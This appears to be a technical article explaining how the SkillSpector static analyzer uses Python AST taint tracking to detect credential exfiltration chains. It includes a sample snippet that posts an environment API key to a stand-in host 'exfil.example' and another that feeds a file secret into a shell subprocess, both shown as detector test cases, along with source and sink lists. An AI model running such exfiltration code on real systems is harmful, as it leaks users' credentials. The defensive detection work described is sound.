# How Taint Tracking in SkillSpector Detects Credential Exfiltration Chains

> SkillSpector's taint tracking analyzes Python ASTs to build data-flow graphs and detect credential exfiltration chains by tracing data from sources to sinks.

- Repository: [NVIDIA Corporation/SkillSpector](https://github.com/NVIDIA/SkillSpector)
- Tags: deep-dive
- Published: 2026-06-22

---

**SkillSpector implements a behavioral taint-tracking analyzer that traces data flows from credential sources to exfiltration sinks by building a data-flow graph from Python ASTs and reporting chains that match credential-exfiltration patterns.**

NVIDIA's SkillSpector scans Python source files to identify security vulnerabilities through static analysis. The **taint tracking** mechanism specifically targets credential exfiltration chains by monitoring how sensitive data propagates from origin points to dangerous destination functions. This analysis operates on the abstract syntax tree level to detect both direct flows and indirect contamination paths before code execution.

## AST Parsing and Type Resolution

The analyzer begins by parsing each Python file into an abstract syntax tree and constructing a **type map** that resolves fully-qualified function names. In [`src/skillspector/nodes/analyzers/behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py), the implementation uses:

```python
tree = ast.parse(content, filename=file_path)          # L95-L96

type_map = build_type_map(tree)                        # L100

```

This type resolution enables the analyzer to identify specific function calls even when imported with aliases or accessed through module hierarchies, ensuring accurate source and sink identification across diverse coding patterns.

## Defining Sources and Sinks

The detection logic relies on predefined sets of **sources** (where secrets originate) and **sinks** (where data can be leaked). According to the NVIDIA/SkillSpector source code, the analyzer declares these as frozen sets at the module level:

- **Credential sources**: `os.environ.get`, `os.environ`, `os.getenv` (L44-L49)
- **File read sources**: `open`, `pathlib.Path.read_text`, `pathlib.Path.read_bytes` (L52-L57)
- **Network input sources**: Socket reads and HTTP request input methods (L60-L76)
- **Network output sinks**: Functions transmitting data over networks (L91-L106)
- **Execution sinks**: `subprocess.run`, `exec`, `eval`, and similar code execution vectors (L108-L121)
- **File write sinks**: Functions persisting data to disk (L123-L131)

## Source Detection and Taint Assignment

When the analyzer encounters an `Assign` node, it inspects the right-hand side for source calls using `_find_source_in_expr`. If a source is detected, the left-hand side variables are marked as **tainted** with metadata tracking the source name and line number:

```python
src_name = _find_source_in_expr(ast_node.value, type_map)                        # L32-L33

_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno)               # L48-L49

```

This establishes the starting points for tracking potential credential exfiltration throughout the program's data flow.

## Taint Propagation Mechanisms

The analyzer propagates taint through two primary mechanisms. **Direct propagation** occurs when a variable is assigned from a tainted variable using `_find_tainted_in_expr` (L43-L44). **Container propagation** walks through complex literals—including dictionaries, lists, tuples, and f-strings—to mark any new variable that incorporates tainted values as contaminated, ensuring comprehensive coverage of data movement.

## Detecting Exfiltration at Sink Call Sites

For each `Call` node, the analyzer checks if the callee matches a known sink by resolving the call name via `resolve_call_name_typed` (L55-L56). It then performs dual detection:

1. **Nested source detection**: Identifies source calls passed directly to sink arguments using `_find_nested_sources` (L65-L68)
2. **Tainted variable detection**: Finds variables marked as tainted that reach the sink via `_find_tainted_names_in_args` (L78-L82)

For each discovered source-to-sink pair, the analyzer selects a rule identifier using `_pick_rule` that distinguishes direct flows from indirect contamination.

## Rule Selection and Severity Mapping

The `_pick_rule` function maps source-sink combinations to specific rule IDs (`TT1` through `TT5`) that encode severity. For example, when a credential source reaches a network output sink, the analyzer assigns rule `TT3` (L80-L82):

```python
if source_name in _CREDENTIAL_SOURCES and sink_name in _NETWORK_OUTPUT_SINKS:
    return "TT3"                                                                   # L80-L82

```

Severity and confidence levels for each rule are stored in `_RULE_SEVERITIES` and `_RULE_CONFIDENCES`, enabling risk-based prioritization of findings.

## Reporting and Pipeline Integration

Each detected flow generates an `AnalyzerFinding` containing the rule ID, human-readable message, severity rating, confidence level, source location, and code snippet (L16-L26). The pipeline aggregates these across all analyzed files, logging the total count per analysis run (L108-L109).

The `node` function iterates over Python components, skips files exceeding `MAX_FILE_BYTES`, and runs the analysis only on eligible files (L99-L100, L105-L106).

## Practical Examples of Detection

The following patterns trigger credential exfiltration alerts in SkillSpector:

**Direct credential flow to network output (Rule TT3):**

```python
import os, requests

api_key = os.getenv("API_KEY")          # source: credential

requests.post("https://exfil.example", json={"key": api_key})   # sink: network output

```

**Indirect file-read secret passed to execution context (Rule TT5):**

```python
import subprocess, pathlib

secret = pathlib.Path("secret.txt").read_text()   # source: file read

cmd = f"echo {secret}"
subprocess.run(cmd, shell=True)                  # sink: exec

```

When analyzing these files, SkillSpector reports the direct flow from `os.getenv` to `requests.post` and the tainted flow from `pathlib.Path.read_text` to `subprocess.run`.

## Key Implementation Files

The taint-tracking system spans several files in the NVIDIA/SkillSpector repository:

| File | Purpose |
|------|---------|
| [`src/skillspector/nodes/analyzers/behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py) | Core implementation containing source/sink definitions, propagation logic, and rule selection |
| [`src/skillspector/nodes/analyzers/static_runner.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/static_runner.py) | Utility functions for converting analyzer results to generic findings and enforcing file size limits |
| [`src/skillspector/nodes/analyzers/common.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/common.py) | Type map construction, call name resolution, and source extraction utilities |
| [`src/skillspector/graph.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/graph.py) | Pipeline orchestration for node execution |
| [`src/skillspector/models.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/models.py) | Data structures including `AnalyzerFinding`, `Severity`, and `Location` |

## Summary

- SkillSpector uses **behavioral taint tracking** to build data-flow graphs from Python ASTs, tracing sensitive data from sources to sinks.
- The analyzer categorizes **sources** (environment variables, file reads, user input) and **sinks** (network output, code execution, file writes) to identify exfiltration vectors.
- **Taint propagation** tracks both direct assignments and container literals, ensuring comprehensive coverage of data movement.
- Rule IDs (`TT1`-`TT5`) classify flows by severity, with credential-to-network flows typically triggering high-severity `TT3` alerts.
- The system processes files under `MAX_FILE_BYTES` limits, generating structured `AnalyzerFinding` objects for each detected chain.

## Frequently Asked Questions

### How does SkillSpector define taint sources?

In [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py), sources are defined as frozen sets of fully-qualified function names. Credential sources include `os.environ.get`, `os.environ`, and `os.getenv`, while file and network input sources cover `open`, `pathlib.Path.read_text`, and various socket input methods. The analyzer resolves these names using a type map built from the AST to handle imports and aliases correctly.

### What is the difference between direct and indirect taint flows?

**Direct flows** occur when a source function call is passed immediately as an argument to a sink function, detected via `_find_nested_sources`. **Indirect flows** (tainted flows) occur when data from a source is first stored in a variable, which then propagates through assignments or container constructions before reaching a sink, detected via `_find_tainted_names_in_args`. The `_pick_rule` function distinguishes these cases to assign appropriate rule IDs and severity levels.

### Which rule IDs indicate high-severity credential exfiltration?

Rule `TT3` triggers when credential sources flow to network output sinks, representing immediate exfiltration risk. Rule `TT5` covers file-read sources reaching execution sinks, also indicating high severity. The specific severity mappings are stored in `_RULE_SEVERITIES` within the analyzer implementation, allowing the system to prioritize the most dangerous credential-exfiltration chains.

### How does SkillSpector handle large Python files during analysis?

The analyzer enforces a configurable `MAX_FILE_BYTES` limit in the pipeline. Files exceeding this size are skipped to prevent performance degradation. The `node` function iterates over Python components, checks file sizes against this limit, and only runs the full taint analysis on files within the specified boundaries.